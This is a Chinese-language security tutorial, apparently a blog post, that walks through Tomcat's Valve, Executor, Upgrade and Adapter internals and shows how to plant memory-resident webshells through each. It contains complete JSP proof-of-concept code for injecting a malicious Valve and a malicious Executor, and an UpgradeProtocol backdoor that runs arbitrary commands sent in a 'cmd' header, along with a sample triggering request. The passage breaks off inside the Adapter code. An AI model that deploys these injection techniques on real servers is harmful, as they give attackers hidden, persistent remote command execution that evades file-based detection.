Tomcat

前言简单介绍

这里再提及一下Lifecycle接口,这个接口为所有具有生命周期的核心组件(如 Server、Service、Engine、Host、Context、Connector 等)提供一个标准化的启动、停止和管理其状态

通俗的讲就是这个接口里面有几个方法,规范了他的初始化、启动、停止、销毁

主要方法有:

init(): 初始化组件,加载配置,分配资源。
start(): 启动组件,开始工作(如打开网络端口,启动线程池)。
stop(): 停止组件,停止接受新请求,完成现有请求。
destroy(): 销毁组件,释放所有资源

​

详细的我就不在这里说了,在下文针对的说。

由于关于Tomcat架构的内容有些多,考虑到我之前学习的时候也是看到后文忘前文。我这里采取了每一个小段补充对应的知识。Valve内存马与Executor内存马分别是Container和Connector的层面的内存马,所以我将Valve内存马与Executor内存马放到前面将,顺便可以介绍其架构,增加可读性。具体架构的源码分析,我没有在介绍中写出,那样太冗长。但是相关的涉及的重要内容我会在内存马分析的时候进行源码分析

并且我采用的是JSP注入的方式来作为检验。


TomcatVaule类

Container介绍

该类内存马是Container层面的内存马,这里我介绍一下Container

Container包含了四个主要容器:Engine、Host、Context、Wrapper

​

简单介绍一下:

Wrapper 表示一个 Servlet。
Context 表示一个 Web 应用程序,可能包含多个 Servlet;
Host 代表的是一个虚拟主机,可以配置多个虚拟主机地址,部署多个 Web 应用程序,但一般只部署一个应用。
Engine 表示引擎,用来管理多个虚拟站点,一个 Service 最多只能有一个 Engine

这里找了一个图:其处理调用是这个顺序的:Engine->Host->Context->Wrapper,最后到Servlet

这些容器时如何进行连接的呢:Pipeline。每一个容器中都有一个Pipeline,其中每一个Pipeline也有多个Valve。

​

  • Pipeline(管道):每个容器(Engine/Host/Context/Wrapper)内部都有一个专属 Pipeline,使用来处理请求的。 每个 Pipeline 包含一个 Basic Valve(基础阀门),4 个容器的BaseValve 分别是StandardEngineValve 、StandardHostValve 、StandardContextValve和StandardWrapperValve。每一个Pipeline内部都有着多个Valve进行连接着,而在Pipeline 的最后,BaseValve负责将请求传递到下一层容器的 Pipeline(如 Context 的 Basic Valve 会将请求传递给 Wrapper 的Pipeline)。



  • Valve(阀门):Valve 是一种责任链模式的实现,用于在请求和响应处理过程中插入自定义逻辑。通过自定义 Valve,可以在更高层次(如 Host 或 Context)对请求和响应进行拦截和处理。自定义 Valve 通过addValve()方法添加到 Pipeline 中,执行顺序早于 Basic Valve,且多个自定义 Valve 按添加顺序依次执行。这里需要提及的是,Pipeline处理每个Valve的时候是调用其中的invoke()方法,并且这个addValve方法就是我们找到的动态扩展的方法


具体流程是这样的

  • Connector接收到网络请求,创建Request和Response对象
  • 传输给Engine的Pipeline中的各个Valve依次执行,
  • 通过Basic Valve传输给Host,然后依次是Context和Wrapper
  • 最后调用Servlet.service方法,然后是客户端响应

Valve内存马正文

我们来分析一下Valve的运行逻辑(初始化与调用),有助于我们理解追踪到什么位置就停止

在Tomcat初始化的时候就已经实例化了,但是区别于Filter和Listener的是,

Filter是刚开始实例化,之后就不再实例化,并且Filter配置固化,需要我们自己实例化和添加Filter

Listener是刚开始实例化,之后不再实例化,但是会动态读取实例化Listener列表,需要我们实例化并且将恶意Listener注入Listener中

Valve则大不相同,官方就已经提供了动态扩展(addValve直接添加),可以直接使用官方API,相比于Filter、Listener简单一些


在Tomcat初始化的时候,每一个容器都会创建自己的Pipeline实例。其中Context、Host、Engine、Wrapper四个容器都是通过继承了ContainerBase类来实现Pipeline来实例化我们可以来看看

拿StandardContext举例

全局搜索pipeline,我们找到pipeline的接口

我们Ctrl左键查看一下

跟进StandardContext类

发现在构造器这里就已经开始了Valve的赋值了,我们Ctrl左键看看这个pipeline

发现跳转到了ContainerBase中的pipeline,其实很好理解,就是这Context、Host、Engine、Wrapper四个容器通过继承ContainerBase从而获得实例化pipeline

我们之前提到过ContextConfig类会解析web.xml中的内容并进行配置,其实也会解析目录 META-INF/context.xml中的内容,然后进行实例化Valve和相关配置。

我们在ContextConfig中搜索Valve,发现了这一段,这里使用了addValve来添加了一个Valve

我们发现pipeline可以直接使用addValve来添加Valve,这时候我们想,那这个pipeline是怎么来的呢,我们长按Ctrl发现是context直接调用了getPipeline方法获取的

我们看看这个getPipeline方法是在怎么定义的,Ctrl左键跟到了Container接口了

而这个getPipeline是如何定义的呢,我们要看是谁对其进行了实现,我们之前对ContainerBase类进行过分析,这个类是实现ContainerBase的,并且我们知道各个容器的Pipeline也是通过它来实现的实例化,可以预见的是,应该是这个类进行的实现,然后各个容器就可以调用父类的getPipeline()

那我们想起来了我们之前常用的StandardContext类,我们看看它是否继承了ContainerBase,并且继承链中有没有对getPipeline进行重写,如果没有的话,我们就可以使用我们之前就写好的StandardContext来实现Pipeline的获取和Valve的注入

发现其中只有对getPipeline()的调用没有重写,并且它继承了ContainerBase方法

那此时我们的目标就开朗了,我们可以获取一个StandardContext然后getPipeline获取pipeline然后再addValve恶意Valve

那如何构造我们的Valve呢

我们讲回这一步,这里是Context设置Valve的地方,这里我们跟进这个StandardContextValve类

这里我们发现这个类继承了ValveBase,并重写了invoke方法,其实所谓的pipeline中的多个Valve就是分别调用这pipeline中的Valve中的invoke方法,然后每个invoke方法指向下一个Valve,这里我们的一个思路来了,我们是不是可以自己也继承这个ValveBase,然后invoke方法里面写我们自己的恶意代码呢。

好了,我们开始构造

恶意Valve

<%!
        public class EvilValve extends ValveBase {
            @Override
            public void invoke(Request req, Response resp) throws IOException {
               Runtime.getRuntime().exec("calc");
            }
        }
%>

Valve注入

EvilValve evilValve = new EvilValve();
StandardContext.getPipeline().addValve(evilValve);

整体POC

StandardContext构造可以参考我https://xz.aliyun.com/news/90691中写的

<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.*" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%!
        public class EvilValve extends ValveBase {
            @Override
            public void invoke(Request req, Response resp) throws IOException {
               Runtime.getRuntime().exec("calc");
            }
        }
%>

<%

    // 获取ServletContext对象
    ServletContext ServletContext = request.getServletContext();
    //通过反射获取ApplicationContext字段
    Field ApplicationContextFiled = ServletContext.getClass().getDeclaredField("context");
    ApplicationContextFiled.setAccessible(true);
    //通过字段获取ApplicationContext对象
    Object ApplicationContext = ApplicationContextFiled.get(ServletContext);

    //通过反射获取StandardContext字段
    Field StandardContextFiled = ApplicationContext.getClass().getDeclaredField("context");
    StandardContextFiled.setAccessible(true);
    //通过字段获取StandardContext对象
    StandardContext StandardContext = (StandardContext)StandardContextFiled.get(ApplicationContext);

    EvilValve evilValve = new EvilValve();
    StandardContext.getPipeline().addValve(evilValve);

%>

访问对应JSP后再访问任意URL

TomcatExecutor类

Connector介绍

该类内存马是Connector层面的内存马,这里我介绍一下Connector

前面介绍的Container是Tomcat中负责内部处理的部分,而这个Connector是负责处理与外部通信的部分

我找了一张图:

Tomcat在设计上将动态变化的EndPoint、Processor组合成ProtocolHandler:负责网络通信获取Socket并将其解析为Tomcat内部处理的TomcatRequest传递给Adapter。然后Adapter将其转换为ServletRequest传递给容器,最后容器处理为ServletResponse,再处理为TomcatResponse,再变成响应字节流传输给浏览器。


而ProtocolHandler呢,其中有EndPoint和Processor

EndPoint

Endpoint 是一个接口,抽象实现类是 AbstractEndpoint,具体子类有:

AbstractEndpoint
    ├─ NioEndpoint       // 基于Java NIO实现
    ├─ Nio2Endpoint      // 基于NIO2异步实现
    └─ AprEndpoint       // 基于APR库实现

EndPoint主要负责网络I/O,包含:

  • Acceptor:接收Socket连接
  • Poller:轮询I/O事件

主要用来监听Socket请求,然后分别将Socket传给Processor

EndPoint的具体流程可以理解为一个Acceptor线程 + 多个Poller线程+再传递给一个Executor线程池

Acceptor(接收器)

负责接受socket然后及那个其封装为SocketChannel并注册到一个Poller上

Poller(轮询器)

每当一个新的SocketChannel注册到Poller事件队列(PollerEvent队列)中时,在处理这队列的时候,会讲新的SocketChannel注册到自己的Selector上,当Selector检测到某个通道可读(即客户端发送了数据)时,会创建一个SocketProcessor任务,交给Executor池来处理

Executor线程池

由Executor中某个线程执行SocketProcessor任务,然后通过Processor来处理不同协议

Processor

Processor 是一个接口,抽象实现类是 AbstractProcessor,具体子类有 AjpProcessor、Http11Processor 等。
具体子类实现了特定协议的解析方法和请求处理方式,然后将socket处理成TomcatRequest传给Adapter

​

Adapter

由于协议不同,而Tomcat 定义了自己的 Request 类来“存放”这些请求信息,此时就需要一个适配器来转换

Tomcat 引入了 CoyoteAdapter类,向Adapter中传入的是 TomcatRequest 对象,而CoyoteAdapter 负责将 Tomcat Request 转成 ServletRequest,再调用容器的 service 方法,然后再转化为SevletResponse


Executor内存马正文

分析

TomcatExecutor类内存马,是一种寄生在Tomcat内部线程处理机制中的内存马,区别于JAVA线程类内存马,这个马只能在Tomcat中生效,而Java线程类内存马是几乎都适配的。

​

我们像之前那样分析一下Executor内存马,启动时实例化 + 绑定到Service,但是每个HTTP请求都会经过Service → Connector → Executor

Executor作为请求处理的首个业务执行入口,所以我们如果可以替换掉这个Executor的话,我们是不是就可以注入内存马了呢


接下来我们来具体看看如何调用的Executor的,看一下注入的可能性:

我们从前面知道在使用Executor之前,需要将将socket封装到Poller之中,但是如果我们搜索Poller类的话

我们会发现Poller类都是在EndPoint子类中定义的,说明了不同的I/O流生成的Poller是不同的,而NioEndPoint是比较常用的,而且途中也发现了NioEndPoint中的PollerEvent类,

我们接下来去看看Poller类(NioEndPoint中的)

发现其中有一个run方法,我们知道Java中的run方法通常是线程启动时启动的方法,我们打上断点调试一下

果然断下来了,我们发现这是Thread类中的调用,从这个调用栈看,其实如果调试的时候观察的仔细的话,大部分每一个线程都是这里开的。

我们来分析一下,这个方法

这个events方法和我们之前介绍的EndPoint看着有点关系,我们跟进去

这个方法的返回值result是个布尔类型,总体的意思就是判断是否存在PollerEvents如果有的话,就调用register方法将socketChannel注册到selector中去

感兴趣的师傅可以看一下这个register方法,核心部分就是判断现有注册,如果已经有注册了,就使用interestOps和attach方法更新,如果没有就使用register方法注册

回到run方法,

想要跟到这里的话,需要多次步过直到

这个hasEvents为true(存在事件)

我们一路跟下去,我们发现了这里,这里是使用迭代器来判断selector中的socketChannel是否有事件发生


那我们就重点看一下这个关于selector的迭代器

这里检测如果有事件发生就接下来的操作,我们关注这个processKey方法,这是这个循环里面的核心方法,传入了NiosocketWrapper

我们跟进去看看,进来之后一步步的步过,发现走到了processSocket方法,这里判断的是这个事件是否可读是否可写,这里进入可读的分支,进行三个判断:读操作,是否堵塞,Socket处理

根据前面的前置只是我们知道,Selector会创建一个处理Socket的SocketProcessor任务给Executor,而这里是处理Socket的方法,我们跟进去。发现这里确实创建了SocketProcessor任务,并且发现这里调用了getExecutor方法来获取了Executor,并且调用了其中的execute方法

到了这里也已经到了我们的内存马的注入点了,如果我们可以控制这个Executor的话,我们是不是就可以注入Executor内存马了呢

所以我们跟入这个getExecutor方法看看

再看看这个executor

这个executor是ThreadPoolExecutor实例,那我们可以不需要一步步构造Executor,我们可以继承ThreadPoolExecutor类然后重写它的execute方法,里面添加夹带着我们的恶意代码。并且如果我们在里面做一个判断,如果接受到我们的参数就继续之前的逻辑,这又不会影响业务而提升隐蔽性。那如何修改这个Executor呢,在刚才getExecutor方法的时候,我们发现上面有一个setExecutor方法,还是public的,那我们就可以利用这个方法来替换

而这是一个NioEndpoint类

所以我们现在的思路就是获取到这个NioEndpoint类,并且构造一个恶意的Executor,使用setExecutor方法来将其替换,这样我们的内存马就注入进去了。

​

这时介绍一个工具:

https://github.com/c0ny1/java-object-searcher

使用教程有很多,是一个非常好用的工具

在搭建好使用这个工具的环境之后

在一个jsp文件中打上断点并调试

我们调出IDEA的Evaluate,Windows可以使用ALT+F8,然后在代码段中输入以下代码,如果爆红的话就等一段时间,然后光标放在上面导入类即可

(其中的searcher.setReport_save_path("H:\\");可以根据自己需要存放的位置来自行选择)

List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("NioEndpoint").build());
//定义黑名单
List<Blacklist> blacklists = new ArrayList<>();
blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
//新建一个广度优先搜索Thread.currentThread()的搜索器
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
// 设置黑名单
searcher.setBlacklists(blacklists);
//打开调试模式,会生成log日志
searcher.setIs_debug(true);
//挖掘深度为20
searcher.setMax_search_depth(20);
//设置报告保存位置
searcher.setReport_save_path("H:\\");
searcher.searchObject();

然后点击求值,就会发现在对应位置生成了文件,其中包含了我们需要找的NioEndpoint

我们取第二个

Thread.currentThread().group.threads[16].target

记得记录下每一个对象类型

获取了NioEndpoint之后我们需要找到Executor字段在哪里

Ctrl+H寻找继承关系,最终在NioEndpoint的父类的父类找到了executor字段,那当我们构造的时候就需要使用getSuperclass().getSuperclass()来获取父类的父类了


好了我们开始构造

首先是

获取nioEndpoint

这里需要注意的是,我没有使用当时使用工具找到的threads[16],直接在线程组中寻找第16个不太准确,我使用thread.getName().contains("Poller")会比较准确

//nioEndpoint的获取
ThreadGroup group = Thread.currentThread().getThreadGroup();
Field threadsField = ThreadGroup.class.getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[]) threadsField.get(group);

Object nioEndpoint = null;
for (Thread thread : threads) {
    if (thread != null && thread.getName().contains("Poller")) {
        Field targetField = Thread.class.getDeclaredField("target");
        targetField.setAccessible(true);
        Object poller = targetField.get(thread);

        // 获取外部类引用
        Class<?> pollerClass = poller.getClass();
        for (Field field : pollerClass.getDeclaredFields()) {
            if (field.getName().startsWith("this$")) {
                field.setAccessible(true);
                nioEndpoint = field.get(poller);
                break;
            }
        }

    }
}

获取Executor

获取到NioEndpoint之后找到去父类的父类取出其Executor

out.println("成功获取NioEndpoint: " + nioEndpoint.getClass().getName() + "<br>");
// 查找executor字段
Field executorField = null;
Class<?> clazz = nioEndpoint.getClass().getSuperclass().getSuperclass();

executorField = clazz.getDeclaredField("executor");


executorField.setAccessible(true);
Executor original = (Executor) executorField.get(nioEndpoint);

out.println("原始Executor: " + original.getClass().getName() + "<br>");

替换恶意Executor

即可以使用NioEndpoint的setExecutor方法来替换(利用到反射)也可以使用Field的set方法来替换

// 替换为恶意Executor
Executor evilExecutor = new Executor() {
    @Override
    public void execute(Runnable command) {
        // 恶意代码
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
        // 然后执行原始任务
        original.execute(command);
    }
};

// 使用setExecutor方法替换
Method setExecutorMethod = nioEndpoint.getClass().getMethod("setExecutor", Executor.class);
setExecutorMethod.invoke(nioEndpoint, evilExecutor);
// 使用set方法来替换
//executorField.set(nioEndpoint, evilExecutor);
out.println("Executor替换成功!<br>");

整体POC

<%@ page import="java.lang.reflect.*" %>
<%@ page import="java.util.concurrent.*" %>
<%@ page import="java.io.IOException" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
        //nioEndpoint的获取
        ThreadGroup group = Thread.currentThread().getThreadGroup();
        Field threadsField = ThreadGroup.class.getDeclaredField("threads");
        threadsField.setAccessible(true);
        Thread[] threads = (Thread[]) threadsField.get(group);

        Object nioEndpoint = null;
        for (Thread thread : threads) {
            if (thread != null && thread.getName().contains("Poller")) {
                Field targetField = Thread.class.getDeclaredField("target");
                targetField.setAccessible(true);
                Object poller = targetField.get(thread);

                // 获取外部类引用
                Class<?> pollerClass = poller.getClass();
                for (Field field : pollerClass.getDeclaredFields()) {
                    if (field.getName().startsWith("this$")) {
                        field.setAccessible(true);
                        nioEndpoint = field.get(poller);
                        break;
                    }
                }

            }
        }

        out.println("成功获取NioEndpoint: " + nioEndpoint.getClass().getName() + "<br>");
        // 查找executor字段
        Field executorField = null;
        Class<?> clazz = nioEndpoint.getClass().getSuperclass().getSuperclass();

        executorField = clazz.getDeclaredField("executor");


        executorField.setAccessible(true);
        Executor original = (Executor) executorField.get(nioEndpoint);

        out.println("原始Executor: " + original.getClass().getName() + "<br>");

        // 替换为恶意Executor
        Executor evilExecutor = new Executor() {
            @Override
            public void execute(Runnable command) {
                // 恶意代码
                try {
                    Runtime.getRuntime().exec("calc.exe");
                } catch (IOException e) {
                    throw new RuntimeException(e);
                }
                // 然后执行原始任务
                original.execute(command);
            }
        };

    // 使用setExecutor方法替换
        Method setExecutorMethod = nioEndpoint.getClass().getMethod("setExecutor", Executor.class);
        setExecutorMethod.invoke(nioEndpoint, evilExecutor);
//        executorField.set(nioEndpoint, evilExecutor);
        out.println("Executor替换成功!<br>");
%>

访问对应JSP之后再访问任意url即可触发计算器

TomcatUpgrade类

Upgrade

Upgrade 是 HTTP/1.1 协议定义的一个机制(RFC 7230),是 HTTP 协议内的一个协商过程,它通过 Connection: upgrade 和 Upgrade: protocol-name 头来协商协商成功后,协议切换,后续通信使用新协议,即允许客户端请求将当前连接升级到其他协议。

而在Tomcat中处理不同协议的是Processor组件。

我们来看一下有关于Upgrade的Processsor组件

这些应该是我们初步需要关注的点

进入UpgradeProtocol类

可以先关注以下这个accept,是用来检查请求是否符合升级条件,实例化特定协议的处理器,为后续协议通信进行初始化设置。这个会是我们的重点

Upgrade内存马正文

分析

我们可以知道,Processor的处理在Endpoint处理之后传出Socket后再运行。我们从Endpoint的doRun方法开始调试,我们要找到的是对于不同协议的处理,对应的找到Upgrade的处理部分

走到这里我们发现出现了Socket的关键字,我们步入这个process方法看看

这是AbstractProtocol的process方法,我们现在要找的是在哪里创建了Processor对象

经过一路的调试,我们在AbstractProtocol.class的630行左右发现了对于processor的赋值或创建

上面这个不行,那就是创建一个processor了

这里可以看到创建了一个Http11Processor对象

继续调试,发现创建完Http11Processor对象后在649行又调用了process方法

在42行调用了Http11Processor的service方法

这里是一个监控接口,标记请求处理的不同阶段,便于监控和调试

到了146行,parseRequestLine方法来获取请求头和解析

我们可以知道了,对于不同协议的处理是在这类(Http11Processor.class)中的

在文件中搜索upgrade,发现在200行左右有对于upgrade协议的处理,并且203行有.accept(this.request)方法的处理

这里就走到我们内存马的注入点了

我们来分析一下,这个upgradeProtocol是通过

UpgradeProtocol upgradeProtocol = this.protocol.getUpgradeProtocol(requestedProtocol);

我们查看一下this.protocol是什么,是AbstractHttp11Protocol

所以调用了AbstractHttp11Protocol的getUpgradeProtocol方法

而这个httpUpgradeProtocols是AbstractHttp11Protocol类中的一个Map,key是String,value是UpgradeProtocol

所以这个方法是通过key值获取其value,即UpgradeProtocol对象,然后调用其accept方法,这时候我们思路来了,如果我们可以构造一个恶意的Map插入,并且传入恶意对象的Key,就可以植入我们的内存马了。

我们构造的思路

首先我们需要获取一个AbstractHttp11Protocol对象,然后获取其httpUpgradeProtocols属性,然后传入恶意key和value,其中这个value是一个重写了accept方法的恶意UpgradeProtocol对象

​

AbstractHttp11Protocol我们怎么获得呢,我们依旧可以使用java-object-searcher来获取

依旧是打上断点进行查找

我这里查找AbstractHttp11Protocol没有找到,我就查找了其子类Http11NioProtocol

List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("Http11NioProtocol").build());
//定义黑名单
List<Blacklist> blacklists = new ArrayList<>();
blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
//新建一个广度优先搜索Thread.currentThread()的搜索器
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
// 设置黑名单
searcher.setBlacklists(blacklists);
//打开调试模式,会生成log日志
searcher.setIs_debug(true);
//挖掘深度为20
searcher.setMax_search_depth(20);
//设置报告保存位置
searcher.setReport_save_path("H:\\");
searcher.searchObject();

这样子找到其子类也是可以通过反射来获取httpUpgradeProtocols属性的

并且看这个查找到的内容我们会发现,这个链条的前大半部分都是我们Executor内存马里面写下的

我们可以直接照搬

获取NioEndpoint

//nioEndpoint的获取
  ThreadGroup group = Thread.currentThread().getThreadGroup();
  Field threadsField = ThreadGroup.class.getDeclaredField("threads");
  threadsField.setAccessible(true);
  Thread[] threads = (Thread[]) threadsField.get(group);

  Object nioEndpoint = null;
  for (Thread thread : threads) {
      if (thread != null && thread.getName().contains("Poller")) {
          Field targetField = Thread.class.getDeclaredField("target");
          targetField.setAccessible(true);
          Object poller = targetField.get(thread);

          // 获取外部类引用
          Class<?> pollerClass = poller.getClass();
          for (Field field : pollerClass.getDeclaredFields()) {
              if (field.getName().startsWith("this$")) {
                  field.setAccessible(true);
                  nioEndpoint = field.get(poller);
                  break;
              }
          }

      }
  }
  out.println("成功获取NioEndpoint: " + nioEndpoint.getClass().getName() + "<br>");

获取Http11NioProtocol

// 获取Http11NioProtocol

Object handler = null;
Class<?> clazz = nioEndpoint.getClass().getSuperclass().getSuperclass();

// 获取handler
Field handlerField = clazz.getDeclaredField("handler");
handlerField.setAccessible(true);
handler = handlerField.get(nioEndpoint);

out.println("handler类型: " + handler.getClass().getName() + "<br>");

// 获取proto字段
Field protoField = handler.getClass().getDeclaredField("proto");
protoField.setAccessible(true);
Object protocol = protoField.get(handler);

out.println("成功获取protocol: " + protocol.getClass().getName() + "<br>");

获取upgradeProtocols

HashMap<String, UpgradeProtocol> upgradeProtocols = null;

Field upgradeProtocolsField = AbstractHttp11Protocol.class.getDeclaredField("httpUpgradeProtocols");
upgradeProtocolsField.setAccessible(true);
upgradeProtocols = (HashMap<String, UpgradeProtocol>) upgradeProtocolsField.get(protocol);

构造恶意Upgrade类

<%!
    class EvilUpgrade implements UpgradeProtocol{

        @Override
        public String getHttpUpgradeName(boolean b) {
            return "";
        }

        @Override
        public byte[] getAlpnIdentifier() {
            return new byte[0];
        }

        @Override
        public String getAlpnName() {
            return "";
        }

        @Override
        public Processor getProcessor(SocketWrapperBase<?> socketWrapperBase, Adapter adapter) {
            return null;
        }

        @Override
        public InternalHttpUpgradeHandler getInternalUpgradeHandler(SocketWrapperBase<?> socketWrapperBase, Adapter adapter, Request request) {
            return null;
        }

        @Override
        public boolean accept(Request request) {
            String p = request.getHeader("cmd");
            try {
                Runtime.getRuntime().exec(p);
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
            return false;
        }
    }


%>

植入恶意Upgrade类

EvilUpgrade evilUpgrade = new EvilUpgrade();

upgradeProtocols.put("evil", evilUpgrade);
upgradeProtocolsField.set(protocol, upgradeProtocols);

整体POC

<%@ page import="java.lang.reflect.*" %>
<%@ page import="java.util.concurrent.*" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.coyote.http11.Http11NioProtocol" %>
<%@ page import="org.apache.coyote.http11.AbstractHttp11Protocol" %>
<%@ page import="org.apache.coyote.Processor" %>
<%@ page import="org.apache.tomcat.util.net.SocketWrapperBase" %>
<%@ page import="org.apache.coyote.Adapter" %>
<%@ page import="org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler" %>
<%@ page import="org.apache.coyote.Request" %>
<%@ page import="java.nio.ByteBuffer" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="org.apache.coyote.UpgradeProtocol" %>
<%@ page import="java.util.HashMap" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%!
    class EvilUpgrade implements UpgradeProtocol{

        @Override
        public String getHttpUpgradeName(boolean b) {
            return "";
        }

        @Override
        public byte[] getAlpnIdentifier() {
            return new byte[0];
        }

        @Override
        public String getAlpnName() {
            return "";
        }

        @Override
        public Processor getProcessor(SocketWrapperBase<?> socketWrapperBase, Adapter adapter) {
            return null;
        }

        @Override
        public InternalHttpUpgradeHandler getInternalUpgradeHandler(SocketWrapperBase<?> socketWrapperBase, Adapter adapter, Request request) {
            return null;
        }

        @Override
        public boolean accept(Request request) {
            String p = request.getHeader("cmd");
            try {
                Runtime.getRuntime().exec(p);
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
            return false;
        }
    }


%>

<%
    //nioEndpoint的获取
    ThreadGroup group = Thread.currentThread().getThreadGroup();
    Field threadsField = ThreadGroup.class.getDeclaredField("threads");
    threadsField.setAccessible(true);
    Thread[] threads = (Thread[]) threadsField.get(group);

    Object nioEndpoint = null;
    for (Thread thread : threads) {
        if (thread != null && thread.getName().contains("Poller")) {
            Field targetField = Thread.class.getDeclaredField("target");
            targetField.setAccessible(true);
            Object poller = targetField.get(thread);

            // 获取外部类引用
            Class<?> pollerClass = poller.getClass();
            for (Field field : pollerClass.getDeclaredFields()) {
                if (field.getName().startsWith("this$")) {
                    field.setAccessible(true);
                    nioEndpoint = field.get(poller);
                    break;
                }
            }

        }
    }
    out.println("成功获取NioEndpoint: " + nioEndpoint.getClass().getName() + "<br>");

    // 获取Http11NioProtocol

    Object handler = null;
    Class<?> clazz = nioEndpoint.getClass().getSuperclass().getSuperclass();

    // 获取handler
    Field handlerField = clazz.getDeclaredField("handler");
    handlerField.setAccessible(true);
    handler = handlerField.get(nioEndpoint);

    out.println("handler类型: " + handler.getClass().getName() + "<br>");

    // 获取proto字段
    Field protoField = handler.getClass().getDeclaredField("proto");
    protoField.setAccessible(true);
    Object protocol = protoField.get(handler);

    out.println("成功获取protocol: " + protocol.getClass().getName() + "<br>");

    HashMap<String, UpgradeProtocol> upgradeProtocols = null;

    Field upgradeProtocolsField = AbstractHttp11Protocol.class.getDeclaredField("httpUpgradeProtocols");
    upgradeProtocolsField.setAccessible(true);
    upgradeProtocols = (HashMap<String, UpgradeProtocol>) upgradeProtocolsField.get(protocol);

    EvilUpgrade evilUpgrade = new EvilUpgrade();

    upgradeProtocols.put("evil", evilUpgrade);
    upgradeProtocolsField.set(protocol, upgradeProtocols);
%>

访问对应JSP

Burp发送请求,

GET /1 HTTP/1.1
Host: localhost:8190
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: JSESSIONID=FCA505581C93F79E1DEC687DF662476C
Upgrade: evil
cmd: calc
Connection: upgrade


注意:

数据包请求头中一定要有

Upgrade: evil
cmd: calc
Connection: upgrade

TomcatAdapter类

Adapter

我们从前面的内容可以知道,Adapter是一种适配器,用来转换Tomcat的Request

由于协议不同,而Tomcat 定义了自己的 Request 类来“存放”这些请求信息,此时就需要一个适配器来转换

Tomcat 引入了 CoyoteAdapter类,向Adapter中传入的是 TomcatRequest 对象,而CoyoteAdapter 负责将 Tomcat Request 转成 ServletRequest,再调用容器的 service 方法,然后再转化为SevletResponse

流程为

网络请求
    ↓
ProtocolHandler(根据端口和协议选择)
    ↓
Endpoint(NIO/NIO2/APR)
    ↓
Processor(HTTP/1.1、AJP等处理器)
    ↓ ← 这里处理网络协议
Coyote Request (Tomcat内部数据结构)
    ↓
CoyoteAdapter ← 这里处理应用层协议适配
    ↓
ServletRequest(Servlet规范的标准接口)
    ↓
Servlet Container

分析

所以我们可以知道,其实Upgrade的处理和Adapter的调用是靠的很近的,如果不调用Upgrade和其他一系列协议的话,接下来应该就是Adapter的调用

事实上,在我们分析Upgrade内存马的时候,我们走到这里停了下来,因为分析的时候数据包还没有传入Upgrade,我们也没有接下去步过

但是如果我们没有Upgrade协议调用的话,我们步过会怎么样呢,我们不停在这里,继续步过

步过没几步会发现这里,开始调用Adapter(Http11Processor.class中):

通过AbstractProcessor的getAdapter()方法获取Adpter

然后调用Adapter的service方法,我们跟进去,发现是CoyoteAdapter类的service

而我们知道的是Tomcat启动后,Adapter实例化后就不会再创建Adapter了

所以说,内存马的注入就在这个service方法,如果我们可以让这个Adapter对象的service方法带上我们的恶意代码,我们的内存马就可以注入了,而反射可以帮我们做到这一件事情,我们可以通过反射来找到这个对象然后替换这个对象为我们的恶意对象,即可注入内存马

通过上面的分析我们可以知道这个Adapter对象是在AbstractProcessor中的adapter属性(CoyoteAdapte对象)

但是也有可能AbstractProcessor是抽象类的原因,java-object-searcher工具搜索不到

我们依旧可以通过java-object-searcher工具来搜索其子类,

List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("AjpProcessor").build());
//定义黑名单
List<Blacklist> blacklists = new ArrayList<>();
blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
//新建一个广度优先搜索Thread.currentThread()的搜索器
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
// 设置黑名单
searcher.setBlacklists(blacklists);
//打开调试模式,会生成log日志
searcher.setIs_debug(true);
//挖掘深度为20
searcher.setMax_search_depth(20);
//设置报告保存位置
searcher.setReport_save_path("H:\\");
searcher.searchObject();

我选择了这个,所以我们开始构建

获取Endpoint

    // 获取NioEndpoint
    ThreadGroup group = Thread.currentThread().getThreadGroup();
    Field threadsField = ThreadGroup.class.getDeclaredField("threads");
    threadsField.setAccessible(true);
    Thread[] threads = (Thread[]) threadsField.get(group);

    Object nioEndpoint = null;
    for (Thread thread : threads) {
        if (thread != null && thread.getName().contains("Poller")) {
            Field targetField = Thread.class.getDeclaredField("target");
            targetField.setAccessible(true);
            Object poller = targetField.get(thread);

            Class<?> pollerClass = poller.getClass();
            for (Field field : pollerClass.getDeclaredFields()) {
                if (field.getName().startsWith("this$")) {
                    field.setAccessible(true);
                    nioEndpoint = field.get(poller);
                    break;
                }
            }
            if (nioEndpoint != null) break;
        }
    }

获取ConnectionsMap

    // 获取connections Map
    Field connectionsField = endpoint.getClass().getSuperclass().getSuperclass().getDeclaredField("connections");
    connectionsField.setAccessible(true);
    Map<?, ?> connections = (Map<?, ?>) connectionsField.get(endpoint);

获取Adapter

Http11Processor http11Processor = null;

Adapter adapter = null;

Field adapterField = null;
for (Object socketWrapper : connections.values()) {

    // 使用getSocket()方法获取socket
